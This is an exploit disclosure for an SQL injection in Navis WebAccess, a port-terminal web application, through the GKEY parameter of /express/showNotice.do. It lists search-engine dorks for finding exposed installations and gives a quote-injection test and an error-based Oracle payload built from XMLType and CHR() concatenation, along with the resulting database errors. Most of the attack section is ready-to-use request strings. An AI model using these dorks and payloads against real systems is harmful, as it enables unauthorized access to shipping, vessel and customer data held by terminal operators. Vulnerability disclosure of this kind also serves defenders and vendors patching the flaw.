Navis WebAccess SQL Injection

`@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
Product -> Navis WebAccess - SQL Injection  
Date -> 8/8/2016  
Author -> bRpsd  
Skype: vegnox  
Vendor HomePage -> http://www.navis.com/  
Product Download -> http://navis.com/pr_webaccess.jsp (currently under maintenance)  
Product Version -> Express/All  
DBMS -> Oracle  
Tested on > Apache/2.0.54 (Win32)  
  
  
{{ Dorks }}  
  
"Copyright A(c) 2016 Navis, A Zebra Technologies Company"  
"Confidential Information of Navis, A Zebra Technologies Company"  
inurl:GKEY= ext:do  
inurl:/express/secure/Today.jsp  
navis.com webaccess  
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  
  
  
#############  
|DESCRIPTION|  
#############  
"Navis WebAccess is a web-based application that provides all parties across the terminal with an easy-to-use web browser interface for accessing a wealth of transaction data that was previously inaccessible from outside the terminal. All terminal constitiuents, including shipping lines, trucking companies, port authorities, government agencies, agents, shippers, consignees, distribution centers and depots are better served with 24/7 access to real-time container, vessel and truck transaction information. Users can view load and discharge lists, reports, and EDO details as well as view and make appointments, set and release holds, download and upload EDI files and pay for demurrage."  
  
  
  
Vulnerability: SQL Injection  
File: /express/showNotice.do  
Vul Parameter: GKEY  
  
  
================================================================================================  
Test #1  
  
http://localhost:9000/express/showNotice.do?report_type=1&GKEY=2'  
  
  
Response Error:  
  
ORA-00933: SQL command not properly ended  
================================================================================================  
  
  
Test #2 => Payload (Proof Of Concept)  
  
http://localhost:9000/express/showNotice.do?report_type=1&GKEY=2 AND 9753=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(118)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9753=9753) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)  
  
  
Response Error:  
  
ORA-00600: internal error code, arguments: [733], [277608912], [pga heap], [], [], [], [], [], [], [], [], [] ORA-06512: at "SYS.XMLTYPE", line 310 ORA-06512: at line 1  
======================================================================================================================================================================================  
  
~  
  
`